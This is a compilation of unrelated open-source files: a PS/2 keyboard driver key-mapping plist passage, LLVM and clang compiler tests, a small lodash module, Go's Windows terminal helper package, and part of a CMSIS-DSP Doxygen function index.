<string>;The following 12 items map Fn+fkeys to Fn+fkeys</string>
<string>e05f=e05f</string>
<string>e012=e012</string>
<string>e017=e017</string>
<string>e06e=e06e</string>
<string>e00a=e00a</string>
<string>e009=e009</string>
<string>e020=e020</string>
<string>e02e=e02e</string>
<string>e030=e030</string>
<string>e010=e010</string>
<string>e022=e022</string>
<string>e019=e019</string>
<string>;The following 12 items map fkeys to fkeys</string>
<string>3b=3b</string>
<string>3c=3c</string>
<string>3d=3d</string>
<string>3e=3e</string>
<string>3f=3f</string>
<string>40=40</string>
<string>41=41</string>
<string>42=42</string>
<string>43=43</string>
<string>44=44</string>
<string>57=57</string>
<string>58=58</string>
</array>
<key>SleepPressTime</key>
<integer>3000</integer>
</dict>
<key>ProBook-87</key>
<dict>
<key>Custom ADB Map</key>
<array>
<string>46=4d;scroll => Previous-track</string>
<string>e045=34;pause => Play-Pause</string>
<string>e052=42;insert => Next-track</string>
<string>e046=92;break => Eject</string>
</array>
<key>Custom PS2 Map</key>
<array>
<string>e005=0</string>
</array>
<key>Function Keys Special</key>
<array>
<string>;The following 8 items map Fn+fkeys to fkeys</string>
<string>e05f=3d</string>
<string>e06e=3e</string>
<string>e02e=40</string>
<string>e030=41</string>
<string>e009=42</string>
<string>e012=43</string>
<string>e017=44</string>
<string>e033=57</string>
<string>;The following 8 items map fkeys to Fn+fkeys</string>
<string>3d=e05f</string>
<string>3e=e06e</string>
<string>40=e02e</string>
<string>41=e030</string>
<string>42=e037</string>
<string>43=e012</string>
<string>44=e017</string>
</array>
<key>Function Keys Standard</key>
<array>
<string>;The following 8 items map Fn+fkeys to Fn+fkeys</string>
<string>e05f=e05f</string>
<string>e06e=e06e</string>
<string>e02e=e02e</string>
<string>e030=e030</string>
<string>e009=e009</string>
<string>e012=e012</string>
<string>e017=e017</string>
<string>e033=e033</string>
<string>;The following 8 items map fkeys to fkeys</string>
<string>3d=3d</string>
<string>3e=3e</string>
<string>40=40</string>
<string>41=41</string>
<string>42=42</string>
<string>43=43</string>
<string>44=44</string>
</array>
<key>SleepPressTime</key>
<integer>3000</integer>
</dict>
</dict>
<key>Intel</key>
<dict>
<key>CALPELLA</key>
<string>SamsungKeys</string>
<key>SamsungKeys</key>
<dict>
<key>Breakless PS2</key>
<array>
<string>e003</string>
<string>e002</string>
<string>e004</string>
<string>e020</string>
<string>;e031</string>
<string>e033</string>
<string>e006</string>
<string>e077</string>
<string>e079</string>
<string>e008</string>
<string>e009</string>
</array>
<key>Custom ADB Map</key>
<array>
<string>e002=70</string>
<string>e006=80</string>
<string>e008=71 (was =90)</string>
<string>e009=6b (was =91)</string>
</array>
<key>Function Keys Special</key>
<array>
<string>;The following 12 items map Fn+fkeys to fkeys</string>
<string>;fn+f1 no code</string>
<string>e003=3c</string>
<string>;fn+f3 weird code</string>
<string>e002=3e</string>
<string>e004=3f</string>
<string>e020=40</string>
<string>e031=41</string>
<string>e033=42</string>
<string>e006=43</string>
<string>;fn+f10 weird code</string>
<string>;fn+f11 no code</string>
<string>;fn+f12 scrolllock</string>
<string>;The following 12 items map fkeys to Fn+fkeys</string>
<string>;fn+f1 no code</string>
<string>3c=e003</string>
<string>;fn+f3 weird code</string>
<string>3e=e002</string>
<string>3f=e004</string>
<string>40=e020</string>
<string>41=e031</string>
<string>42=e033</string>
<string>43=e006</string>
<string>;fn+f10 weird code</string>
<string>;fn+f11 no code</string>
<string>;fn+f12 scrolllock</string>
</array>
<key>Function Keys Standard</key>
<array>
<string>;The following 12 items map Fn+fkeys to Fn+fkeys</string>
<string>;fn+f1 no code</string>
<string>e003=e003</string>
<string>;fn+f3 weird code</string>
<string>e002=e002</string>
<string>e004=e004</string>
<string>e020=e020</string>
<string>e031=e031</string>
<string>e033=e033</string>
<string>e006=e006</string>
<string>;fn+f10 weird code</string>
<string>;fn+f11 no code</string>
<string>;fn+f12 scrolllock</string>
<string>;The following 12 items map fkeys to fkeys</string>
<string>3b=3b</string>
<string>3c=3c</string>
<string>3d=3d</string>
<string>3e=3e</string>
<string>3f=3f</string>
<string>40=40</string>
<string>41=41</string>
<string>42=42</string>
<string>43=43</string>
<string>44=44</string>
<string>57=57</string>
<string>58=58</string>
</array>
</dict>
</dict>
<key>SECCSD</key>
<dict>
<key>LH43STAR</key>
<string>SamsungKeys</string>
<key>SamsungKeys</key>
<dict>
<key>Breakless PS2</key>
<array>
<string>e020</string>
<string>e02e</string>
<string>e030</string>
</array>
</dict>
</dict>
</dict>
</dict>
</dict>
<key>OSBundleLibraries</key>
<dict>
<key>com.apple.iokit.IOHIDSystem</key>
<string>1.1</string>
<key>com.apple.kpi.bsd</key>
<string>8.0.0</string>
<key>com.apple.kpi.iokit</key>
<string>8.0.0</string>
<key>com.apple.kpi.libkern</key>
<string>8.0.0</string>
<key>com.apple.kpi.mach</key>
<string>8.0.0</string>
<key>com.apple.kpi.unsupported</key>
<string>8.0.0</string>
<key>org.rehabman.voodoo.driver.PS2Controller</key>
<string>1.8.29</string>
</dict>
<key>OSBundleRequired</key>
<string>Console</string>
<key>Source Code</key>
<string>https://github.com/RehabMan/OS-X-Voodoo-PS2-Controller</string>
</dict>
</plist>
| {
"pile_set_name": "Github"
} |
; RUN: opt < %s -loop-unroll -S | FileCheck %s
; RUN: opt < %s -passes='require<opt-remark-emit>,unroll' -S | FileCheck %s
; This should not unroll since the address of the loop header is taken.
; CHECK-LABEL: @test1(
; CHECK: store i8* blockaddress(@test1, %l1), i8** %P
; CHECK: l1:
; CHECK-NEXT: phi i32
; rdar://8287027
define i32 @test1(i8** %P) nounwind ssp {
entry:
store i8* blockaddress(@test1, %l1), i8** %P
br label %l1
l1: ; preds = %l1, %entry
%x.0 = phi i32 [ 0, %entry ], [ %inc, %l1 ]
%inc = add nsw i32 %x.0, 1
%exitcond = icmp eq i32 %inc, 3
br i1 %exitcond, label %l2, label %l1
l2: ; preds = %l1
ret i32 0
}
; This should not unroll since the call is 'noduplicate'.
; CHECK-LABEL: @test2(
define i32 @test2(i8** %P) nounwind ssp {
entry:
br label %l1
l1: ; preds = %l1, %entry
%x.0 = phi i32 [ 0, %entry ], [ %inc, %l1 ]
; CHECK: call void @f()
; CHECK-NOT: call void @f()
call void @f() noduplicate
%inc = add nsw i32 %x.0, 1
%exitcond = icmp eq i32 %inc, 3
br i1 %exitcond, label %l2, label %l1
l2: ; preds = %l1
ret i32 0
; CHECK: }
}
declare void @f()
| {
"pile_set_name": "Github"
} |
var convert = require('./convert'),
func = convert('sampleSize', require('../sampleSize'));
func.placeholder = require('./placeholder');
module.exports = func;
| {
"pile_set_name": "Github"
} |
// RUN: %clang_cc1 -verify -fopenmp -ast-print %s | FileCheck %s
// RUN: %clang_cc1 -fopenmp -x c++ -std=c++11 -emit-pch -o %t %s
// RUN: %clang_cc1 -fopenmp -std=c++11 -include-pch %t -fsyntax-only -verify %s -ast-print | FileCheck %s
// RUN: %clang_cc1 -verify -fopenmp-simd -ast-print %s | FileCheck %s
// RUN: %clang_cc1 -fopenmp-simd -x c++ -std=c++11 -emit-pch -o %t %s
// RUN: %clang_cc1 -fopenmp-simd -std=c++11 -include-pch %t -fsyntax-only -verify %s -ast-print | FileCheck %s
// expected-no-diagnostics
#ifndef HEADER
#define HEADER
void foo() {}
template <class T>
struct S {
operator T() {return T();}
static T TS;
#pragma omp threadprivate(TS)
};
// CHECK: template <class T> struct S {
// CHECK: static T TS;
// CHECK-NEXT: #pragma omp threadprivate(S::TS)
// CHECK: };
// CHECK: template<> struct S<int> {
// CHECK: static int TS;
// CHECK-NEXT: #pragma omp threadprivate(S<int>::TS)
// CHECK-NEXT: }
// CHECK: template<> struct S<long> {
// CHECK: static long TS;
// CHECK-NEXT: #pragma omp threadprivate(S<long>::TS)
// CHECK-NEXT: }
template <typename T, int C>
T tmain(T argc, T *argv) {
T b = argc, c, d, e, f, g;
static T a;
S<T> s;
#pragma omp target
#pragma omp teams
a=2;
#pragma omp target
#pragma omp teams default(none), private(argc,b) firstprivate(argv) shared (d) reduction(+:c) reduction(max:e) num_teams(C) thread_limit(d*C)
foo();
#pragma omp target
#pragma omp teams reduction(^:e, f) reduction(&& : g)
foo();
return 0;
}
// CHECK: template <typename T, int C> T tmain(T argc, T *argv) {
// CHECK-NEXT: T b = argc, c, d, e, f, g;
// CHECK-NEXT: static T a;
// CHECK-NEXT: S<T> s;
// CHECK-NEXT: #pragma omp target
// CHECK-NEXT: #pragma omp teams{{$}}
// CHECK-NEXT: a = 2;
// CHECK-NEXT: #pragma omp target
// CHECK-NEXT: #pragma omp teams default(none) private(argc,b) firstprivate(argv) shared(d) reduction(+: c) reduction(max: e) num_teams(C) thread_limit(d * C)
// CHECK-NEXT: foo()
// CHECK-NEXT: #pragma omp target
// CHECK-NEXT: #pragma omp teams reduction(^: e,f) reduction(&&: g)
// CHECK-NEXT: foo()
// CHECK: template<> int tmain<int, 5>(int argc, int *argv) {
// CHECK-NEXT: int b = argc, c, d, e, f, g;
// CHECK-NEXT: static int a;
// CHECK-NEXT: S<int> s;
// CHECK-NEXT: #pragma omp target
// CHECK-NEXT: #pragma omp teams
// CHECK-NEXT: a = 2;
// CHECK-NEXT: #pragma omp target
// CHECK-NEXT: #pragma omp teams default(none) private(argc,b) firstprivate(argv) shared(d) reduction(+: c) reduction(max: e) num_teams(5) thread_limit(d * 5)
// CHECK-NEXT: foo()
// CHECK-NEXT: #pragma omp target
// CHECK-NEXT: #pragma omp teams reduction(^: e,f) reduction(&&: g)
// CHECK-NEXT: foo()
// CHECK: template<> long tmain<long, 1>(long argc, long *argv) {
// CHECK-NEXT: long b = argc, c, d, e, f, g;
// CHECK-NEXT: static long a;
// CHECK-NEXT: S<long> s;
// CHECK-NEXT: #pragma omp target
// CHECK-NEXT: #pragma omp teams
// CHECK-NEXT: a = 2;
// CHECK-NEXT: #pragma omp target
// CHECK-NEXT: #pragma omp teams default(none) private(argc,b) firstprivate(argv) shared(d) reduction(+: c) reduction(max: e) num_teams(1) thread_limit(d * 1)
// CHECK-NEXT: foo()
// CHECK-NEXT: #pragma omp target
// CHECK-NEXT: #pragma omp teams reduction(^: e,f) reduction(&&: g)
// CHECK-NEXT: foo()
enum Enum { };
int main (int argc, char **argv) {
long x;
int b = argc, c, d, e, f, g;
static int a;
#pragma omp threadprivate(a)
Enum ee;
// CHECK: Enum ee;
#pragma omp target
#pragma omp teams
// CHECK-NEXT: #pragma omp target
// CHECK-NEXT: #pragma omp teams
a=2;
// CHECK-NEXT: a = 2;
#pragma omp target
#pragma omp teams default(none), private(argc,b) num_teams(f) firstprivate(argv) reduction(| : c, d) reduction(* : e) thread_limit(f+g)
// CHECK-NEXT: #pragma omp target
// CHECK-NEXT: #pragma omp teams default(none) private(argc,b) num_teams(f) firstprivate(argv) reduction(|: c,d) reduction(*: e) thread_limit(f + g)
foo();
// CHECK-NEXT: foo();
return tmain<int, 5>(b, &b) + tmain<long, 1>(x, &x);
}
extern template int S<int>::TS;
extern template long S<long>::TS;
#endif
| {
"pile_set_name": "Github"
} |
// Copyright 2011 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build windows
// Package terminal provides support functions for dealing with terminals, as
// commonly found on UNIX systems.
//
// Putting a terminal into raw mode is the most common requirement:
//
// oldState, err := terminal.MakeRaw(0)
// if err != nil {
// panic(err)
// }
// defer terminal.Restore(0, oldState)
package terminal
import (
"golang.org/x/sys/windows"
)
type State struct {
mode uint32
}
// IsTerminal returns true if the given file descriptor is a terminal.
func IsTerminal(fd int) bool {
var st uint32
err := windows.GetConsoleMode(windows.Handle(fd), &st)
return err == nil
}
// MakeRaw put the terminal connected to the given file descriptor into raw
// mode and returns the previous state of the terminal so that it can be
// restored.
func MakeRaw(fd int) (*State, error) {
var st uint32
if err := windows.GetConsoleMode(windows.Handle(fd), &st); err != nil {
return nil, err
}
raw := st &^ (windows.ENABLE_ECHO_INPUT | windows.ENABLE_PROCESSED_INPUT | windows.ENABLE_LINE_INPUT | windows.ENABLE_PROCESSED_OUTPUT)
if err := windows.SetConsoleMode(windows.Handle(fd), raw); err != nil {
return nil, err
}
return &State{st}, nil
}
// GetState returns the current state of a terminal which may be useful to
// restore the terminal after a signal.
func GetState(fd int) (*State, error) {
var st uint32
if err := windows.GetConsoleMode(windows.Handle(fd), &st); err != nil {
return nil, err
}
return &State{st}, nil
}
// Restore restores the terminal connected to the given file descriptor to a
// previous state.
func Restore(fd int, state *State) error {
return windows.SetConsoleMode(windows.Handle(fd), state.mode)
}
// GetSize returns the dimensions of the given terminal.
func GetSize(fd int) (width, height int, err error) {
var info windows.ConsoleScreenBufferInfo
if err := windows.GetConsoleScreenBufferInfo(windows.Handle(fd), &info); err != nil {
return 0, 0, err
}
return int(info.Size.X), int(info.Size.Y), nil
}
// passwordReader is an io.Reader that reads from a specific Windows HANDLE.
type passwordReader int
func (r passwordReader) Read(buf []byte) (int, error) {
return windows.Read(windows.Handle(r), buf)
}
// ReadPassword reads a line of input from a terminal without local echo. This
// is commonly used for inputting passwords and other sensitive data. The slice
// returned does not include the \n.
func ReadPassword(fd int) ([]byte, error) {
var st uint32
if err := windows.GetConsoleMode(windows.Handle(fd), &st); err != nil {
return nil, err
}
old := st
st &^= (windows.ENABLE_ECHO_INPUT)
st |= (windows.ENABLE_PROCESSED_INPUT | windows.ENABLE_LINE_INPUT | windows.ENABLE_PROCESSED_OUTPUT)
if err := windows.SetConsoleMode(windows.Handle(fd), st); err != nil {
return nil, err
}
defer func() {
windows.SetConsoleMode(windows.Handle(fd), old)
}()
return readPasswordLine(passwordReader(fd))
}
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<title>Index</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<link href="cmsis.css" rel="stylesheet" type="text/css" />
<link href="navtree.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="resize.js"></script>
<script type="text/javascript" src="navtree.js"></script>
<script type="text/javascript">
$(document).ready(initResizable);
</script>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/search.js"></script>
<script type="text/javascript">
$(document).ready(function() { searchBox.OnSelectItem(0); });
</script>
</head>
<body>
<div id="top"><!-- do not remove this div! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
<tbody>
<tr style="height: 46px;">
<td id="proglogo"><img alt="CMSIS Logo" src="CMSIS_Logo_Final.png"></td>
<td style="padding-left: 0.5em;">
<div id="projectname">CMSIS-DSP
 <span id="projectnumber">Verison 1.1.0</span>
</div>
<div id="projectbrief">CMSIS DSP Software Library</div>
</td>
</tr>
</tbody>
</table>
</div>
<div id="CMSISnav" class="tabs1">
<ul class="tablist">
<li><a href="../../General/html/index.html"><span>CMSIS</span></a></li>
<li><a href="../../Core/html/index.html"><span>CORE</span></a></li>
<li class="current"><a href="../../DSP/html/index.html"><span>DSP</span></a></li>
<li><a href="../../RTOS/html/index.html"><span>RTOS API</span></a></li>
<li><a href="../../SVD/html/index.html"><span>SVD</span></a></li>
</ul>
</div>
<!-- Generated by Doxygen 1.7.5.1 -->
<script type="text/javascript">
var searchBox = new SearchBox("searchBox", "search",false,'Search');
</script>
<div id="navrow1" class="tabs">
<ul class="tablist">
<li><a href="index.html"><span>Main Page</span></a></li>
<li><a href="modules.html"><span>Reference</span></a></li>
<li>
<div id="MSearchBox" class="MSearchBoxInactive">
<span class="left">
<img id="MSearchSelect" src="search/mag_sel.png"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
alt=""/>
<input type="text" id="MSearchField" value="Search" accesskey="S"
onfocus="searchBox.OnSearchFieldFocus(true)"
onblur="searchBox.OnSearchFieldFocus(false)"
onkeyup="searchBox.OnSearchFieldChange(event)"/>
</span><span class="right">
<a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a>
</span>
</div>
</li>
</ul>
</div>
<div id="navrow3" class="tabs2">
<ul class="tablist">
<li><a href="globals.html"><span>All</span></a></li>
<li class="current"><a href="globals_func.html"><span>Functions</span></a></li>
<li><a href="globals_vars.html"><span>Variables</span></a></li>
<li><a href="globals_type.html"><span>Typedefs</span></a></li>
<li><a href="globals_enum.html"><span>Enumerations</span></a></li>
<li><a href="globals_eval.html"><span>Enumerator</span></a></li>
<li><a href="globals_defs.html"><span>Defines</span></a></li>
</ul>
</div>
<div id="navrow4" class="tabs3">
<ul class="tablist">
<li><a href="globals_func.html#index_a"><span>a</span></a></li>
<li><a href="globals_func_0x62.html#index_b"><span>b</span></a></li>
<li class="current"><a href="globals_func_0x63.html#index_c"><span>c</span></a></li>
<li><a href="globals_func_0x64.html#index_d"><span>d</span></a></li>
<li><a href="globals_func_0x66.html#index_f"><span>f</span></a></li>
<li><a href="globals_func_0x67.html#index_g"><span>g</span></a></li>
<li><a href="globals_func_0x69.html#index_i"><span>i</span></a></li>
<li><a href="globals_func_0x6c.html#index_l"><span>l</span></a></li>
<li><a href="globals_func_0x6d.html#index_m"><span>m</span></a></li>
<li><a href="globals_func_0x6e.html#index_n"><span>n</span></a></li>
<li><a href="globals_func_0x6f.html#index_o"><span>o</span></a></li>
<li><a href="globals_func_0x70.html#index_p"><span>p</span></a></li>
<li><a href="globals_func_0x71.html#index_q"><span>q</span></a></li>
<li><a href="globals_func_0x72.html#index_r"><span>r</span></a></li>
<li><a href="globals_func_0x73.html#index_s"><span>s</span></a></li>
<li><a href="globals_func_0x74.html#index_t"><span>t</span></a></li>
<li><a href="globals_func_0x76.html#index_v"><span>v</span></a></li>
</ul>
</div>
</div>
<div id="side-nav" class="ui-resizable side-nav-resizable">
<div id="nav-tree">
<div id="nav-tree-contents">
</div>
</div>
<div id="splitbar" style="-moz-user-select:none;"
class="ui-resizable-handle">
</div>
</div>
<script type="text/javascript">
initNavTree('globals.html','');
</script>
<div id="doc-content">
<div class="contents">
 
<h3><a class="anchor" id="index_c"></a>- c -</h3><ul>
<li>arm_calc_2pow()
: <a class="el" href="math__helper_8h.html#a7c94faac575a175e824d5f9879c97c68">math_helper.h</a>
, <a class="el" href="math__helper_8c.html#ace1e1f7b72573d1934782ec999a04f99">math_helper.c</a>
</li>
<li>arm_calc_guard_bits()
: <a class="el" href="math__helper_8c.html#a60ff6e0b31a5e9105c7280797e457742">math_helper.c</a>
, <a class="el" href="math__helper_8h.html#a60ff6e0b31a5e9105c7280797e457742">math_helper.h</a>
</li>
<li>arm_cfft_radix2_f32()
: <a class="el" href="group___radix2___c_f_f_t___c_i_f_f_t.html#ga9fadd650b802f612ae558ddaab789a6d">arm_cfft_radix2_f32.c</a>
, <a class="el" href="group___radix2___c_f_f_t___c_i_f_f_t.html#ga9fadd650b802f612ae558ddaab789a6d">arm_math.h</a>
</li>
<li>arm_cfft_radix2_init_f32()
: <a class="el" href="group___radix2___c_f_f_t___c_i_f_f_t.html#gac9565e6bc7229577ecf5e090313cafd7">arm_math.h</a>
, <a class="el" href="group___radix2___c_f_f_t___c_i_f_f_t.html#gac9565e6bc7229577ecf5e090313cafd7">arm_cfft_radix2_init_f32.c</a>
</li>
<li>arm_cfft_radix2_init_q15()
: <a class="el" href="group___radix2___c_f_f_t___c_i_f_f_t.html#ga5c5b2127b3c4ea2d03692127f8543858">arm_cfft_radix2_init_q15.c</a>
, <a class="el" href="group___radix2___c_f_f_t___c_i_f_f_t.html#ga5c5b2127b3c4ea2d03692127f8543858">arm_math.h</a>
</li>
<li>arm_cfft_radix2_init_q31()
: <a class="el" href="group___radix2___c_f_f_t___c_i_f_f_t.html#gabec9611e77382f31e152668bf6b4b638">arm_cfft_radix2_init_q31.c</a>
, <a class="el" href="group___radix2___c_f_f_t___c_i_f_f_t.html#gabec9611e77382f31e152668bf6b4b638">arm_math.h</a>
</li>
<li>arm_cfft_radix2_q15()
: <a class="el" href="group___radix2___c_f_f_t___c_i_f_f_t.html#ga55b424341dc3efd3fa0bcaaff4bdbf40">arm_cfft_radix2_q15.c</a>
, <a class="el" href="group___radix2___c_f_f_t___c_i_f_f_t.html#ga55b424341dc3efd3fa0bcaaff4bdbf40">arm_math.h</a>
</li>
<li>arm_cfft_radix2_q31()
: <a class="el" href="group___radix2___c_f_f_t___c_i_f_f_t.html#ga6321f703ec87a274aedaab33d3e766b4">arm_math.h</a>
, <a class="el" href="group___radix2___c_f_f_t___c_i_f_f_t.html#ga6321f703ec87a274aedaab33d3e766b4">arm_cfft_radix2_q31.c</a>
</li>
<li>arm_cfft_radix4_f32()
: <a class="el" href="group___radix4___c_f_f_t___c_i_f_f_t.html#ga521f670cd9c571bc61aff9bec89f4c26">arm_cfft_radix4_f32.c</a>
, <a class="el" href="group___radix4___c_f_f_t___c_i_f_f_t.html#ga521f670cd9c571bc61aff9bec89f4c26">arm_math.h</a>
</li>
<li>arm_cfft_radix4_init_f32()
: <a class="el" href="group___radix4___c_f_f_t___c_i_f_f_t.html#gaf336459f684f0b17bfae539ef1b1b78a">arm_cfft_radix4_init_f32.c</a>
, <a class="el" href="group___radix4___c_f_f_t___c_i_f_f_t.html#gaf336459f684f0b17bfae539ef1b1b78a">arm_math.h</a>
</li>
<li>arm_cfft_radix4_init_q15()
: <a class="el" href="group___radix4___c_f_f_t___c_i_f_f_t.html#ga0c2acfda3126c452e75b81669e8ad9ef">arm_cfft_radix4_init_q15.c</a>
, <a class="el" href="group___radix4___c_f_f_t___c_i_f_f_t.html#ga0c2acfda3126c452e75b81669e8ad9ef">arm_math.h</a>
</li>
<li>arm_cfft_radix4_init_q31()
: <a class="el" href="group___radix4___c_f_f_t___c_i_f_f_t.html#gad5caaafeec900c8ff72321c01bbd462c">arm_cfft_radix4_init_q31.c</a>
, <a class="el" href="group___radix4___c_f_f_t___c_i_f_f_t.html#gad5caaafeec900c8ff72321c01bbd462c">arm_math.h</a>
</li>
<li>arm_cfft_radix4_q15()
: <a class="el" href="group___radix4___c_f_f_t___c_i_f_f_t.html#ga8d66cdac41b8bf6cefdb895456eee84a">arm_cfft_radix4_q15.c</a>
, <a class="el" href="group___radix4___c_f_f_t___c_i_f_f_t.html#ga8d66cdac41b8bf6cefdb895456eee84a">arm_math.h</a>
</li>
<li>arm_cfft_radix4_q31()
: <a class="el" href="group___radix4___c_f_f_t___c_i_f_f_t.html#gafde3ee1f58cf393b45a9073174fff548">arm_cfft_radix4_q31.c</a>
, <a class="el" href="group___radix4___c_f_f_t___c_i_f_f_t.html#gafde3ee1f58cf393b45a9073174fff548">arm_math.h</a>
</li>
<li>arm_circularRead_f32()
: <a class="el" href="arm__math_8h.html#ab0e1ab2ef7eaf032bc96fdf45565236d">arm_math.h</a>
</li>
<li>arm_circularRead_q15()
: <a class="el" href="arm__math_8h.html#a4c454955847062f70121e4593e8601c8">arm_math.h</a>
</li>
<li>arm_circularRead_q7()
: <a class="el" href="arm__math_8h.html#a3559011ef7b8c1041c2a4d5c24b33ced">arm_math.h</a>
</li>
<li>arm_circularWrite_f32()
: <a class="el" href="arm__math_8h.html#a7a4b8d1665d6b412304720ced872ea00">arm_math.h</a>
</li>
<li>arm_circularWrite_q15()
: <a class="el" href="arm__math_8h.html#abafef751e2863761573fbdb977e0ca6c">arm_math.h</a>
</li>
<li>arm_circularWrite_q7()
: <a class="el" href="arm__math_8h.html#ae84234a408e98d706e2a9bf5047ccbf4">arm_math.h</a>
</li>
<li>arm_clarke_f32()
: <a class="el" href="group__clarke.html#ga011c5e6820d26514d28bc3cbb9d3ab15">arm_math.h</a>
</li>
<li>arm_clarke_q31()
: <a class="el" href="group__clarke.html#gae2f77fac21539c21a01dedc5c42b3863">arm_math.h</a>
</li>
<li>arm_clip_f32()
: <a class="el" href="math__helper_8h.html#ab9768d92bb94894d8294047bdf76a16a">math_helper.h</a>
, <a class="el" href="math__helper_8c.html#ab9768d92bb94894d8294047bdf76a16a">math_helper.c</a>
</li>
<li>arm_cmplx_conj_f32()
: <a class="el" href="group__cmplx__conj.html#ga3a102aead6460ad9fcb0626f6b226ffb">arm_cmplx_conj_f32.c</a>
, <a class="el" href="group__cmplx__conj.html#ga3a102aead6460ad9fcb0626f6b226ffb">arm_math.h</a>
</li>
<li>arm_cmplx_conj_q15()
: <a class="el" href="group__cmplx__conj.html#gaf47689ae07962acaecb8ddde556df4a4">arm_cmplx_conj_q15.c</a>
, <a class="el" href="group__cmplx__conj.html#gaf47689ae07962acaecb8ddde556df4a4">arm_math.h</a>
</li>
<li>arm_cmplx_conj_q31()
: <a class="el" href="group__cmplx__conj.html#gafecc94879a383c5208ec3ef99485e4b5">arm_cmplx_conj_q31.c</a>
, <a class="el" href="group__cmplx__conj.html#gafecc94879a383c5208ec3ef99485e4b5">arm_math.h</a>
</li>
<li>arm_cmplx_dot_prod_f32()
: <a class="el" href="group__cmplx__dot__prod.html#gadcfaf567a25eb641da4043eafb9bb076">arm_cmplx_dot_prod_f32.c</a>
, <a class="el" href="group__cmplx__dot__prod.html#gadcfaf567a25eb641da4043eafb9bb076">arm_math.h</a>
</li>
<li>arm_cmplx_dot_prod_q15()
: <a class="el" href="group__cmplx__dot__prod.html#ga2b08b5e8001d2c15204639d00893fc70">arm_cmplx_dot_prod_q15.c</a>
, <a class="el" href="group__cmplx__dot__prod.html#ga2b08b5e8001d2c15204639d00893fc70">arm_math.h</a>
</li>
<li>arm_cmplx_dot_prod_q31()
: <a class="el" href="group__cmplx__dot__prod.html#ga5b731a59db062a9ad84562ef68a6c8af">arm_cmplx_dot_prod_q31.c</a>
, <a class="el" href="group__cmplx__dot__prod.html#ga5b731a59db062a9ad84562ef68a6c8af">arm_math.h</a>
</li>
<li>arm_cmplx_mag_f32()
: <a class="el" href="group__cmplx__mag.html#gae45024c497392cde2ae358a76d435213">arm_cmplx_mag_f32.c</a>
, <a class="el" href="group__cmplx__mag.html#gae45024c497392cde2ae358a76d435213">arm_math.h</a>
</li>
<li>arm_cmplx_mag_q15()
: <a class="el" href="group__cmplx__mag.html#ga0a4a8f77a6a51d9b3f3b9d729f85b7a4">arm_cmplx_mag_q15.c</a>
, <a class="el" href="group__cmplx__mag.html#ga0a4a8f77a6a51d9b3f3b9d729f85b7a4">arm_math.h</a>
</li>
<li>arm_cmplx_mag_q31()
: <a class="el" href="group__cmplx__mag.html#ga14f82f9230e9d96d5b9774e2fefcb7be">arm_cmplx_mag_q31.c</a>
, <a class="el" href="group__cmplx__mag.html#ga14f82f9230e9d96d5b9774e2fefcb7be">arm_math.h</a>
</li>
<li>arm_cmplx_mag_squared_f32()
: <a class="el" href="group__cmplx__mag__squared.html#gaa7faccc0d96b061d8b7d0d7d82045074">arm_cmplx_mag_squared_f32.c</a>
, <a class="el" href="group__cmplx__mag__squared.html#gaa7faccc0d96b061d8b7d0d7d82045074">arm_math.h</a>
</li>
<li>arm_cmplx_mag_squared_q15()
: <a class="el" href="group__cmplx__mag__squared.html#ga45537f576102d960d467eb722b8431f2">arm_math.h</a>
, <a class="el" href="group__cmplx__mag__squared.html#ga45537f576102d960d467eb722b8431f2">arm_cmplx_mag_squared_q15.c</a>
</li>
<li>arm_cmplx_mag_squared_q31()
: <a class="el" href="group__cmplx__mag__squared.html#ga384b0538101e8c03fa4fa14271e63b04">arm_cmplx_mag_squared_q31.c</a>
, <a class="el" href="group__cmplx__mag__squared.html#ga384b0538101e8c03fa4fa14271e63b04">arm_math.h</a>
</li>
<li>arm_cmplx_mult_cmplx_f32()
: <a class="el" href="group___cmplx_by_cmplx_mult.html#ga14b47080054a1ba1250a86805be1ff6b">arm_cmplx_mult_cmplx_f32.c</a>
, <a class="el" href="group___cmplx_by_cmplx_mult.html#ga14b47080054a1ba1250a86805be1ff6b">arm_math.h</a>
</li>
<li>arm_cmplx_mult_cmplx_q15()
: <a class="el" href="group___cmplx_by_cmplx_mult.html#ga67e96abfc9c3e30efb70a2ec9d0fe7e8">arm_cmplx_mult_cmplx_q15.c</a>
, <a class="el" href="group___cmplx_by_cmplx_mult.html#ga67e96abfc9c3e30efb70a2ec9d0fe7e8">arm_math.h</a>
</li>
<li>arm_cmplx_mult_cmplx_q31()
: <a class="el" href="group___cmplx_by_cmplx_mult.html#ga1829e50993a90742de225a0ce4213838">arm_cmplx_mult_cmplx_q31.c</a>
, <a class="el" href="group___cmplx_by_cmplx_mult.html#ga1829e50993a90742de225a0ce4213838">arm_math.h</a>
</li>
<li>arm_cmplx_mult_real_f32()
: <a class="el" href="group___cmplx_by_real_mult.html#ga9c18616f56cb4d3c0889ce0b339221ca">arm_cmplx_mult_real_f32.c</a>
, <a class="el" href="group___cmplx_by_real_mult.html#ga9c18616f56cb4d3c0889ce0b339221ca">arm_math.h</a>
</li>
<li>arm_cmplx_mult_real_q15()
: <a class="el" href="group___cmplx_by_real_mult.html#ga3bd8889dcb45980e1d3e53344df54e85">arm_cmplx_mult_real_q15.c</a>
, <a class="el" href="group___cmplx_by_real_mult.html#ga3bd8889dcb45980e1d3e53344df54e85">arm_math.h</a>
</li>
<li>arm_cmplx_mult_real_q31()
: <a class="el" href="group___cmplx_by_real_mult.html#ga715e4bb8e945b8ca51ec5237611697ce">arm_cmplx_mult_real_q31.c</a>
, <a class="el" href="group___cmplx_by_real_mult.html#ga715e4bb8e945b8ca51ec5237611697ce">arm_math.h</a>
</li>
<li>arm_compare_fixed_q15()
: <a class="el" href="math__helper_8h.html#a64d5207c035db13cddde479317dd131e">math_helper.h</a>
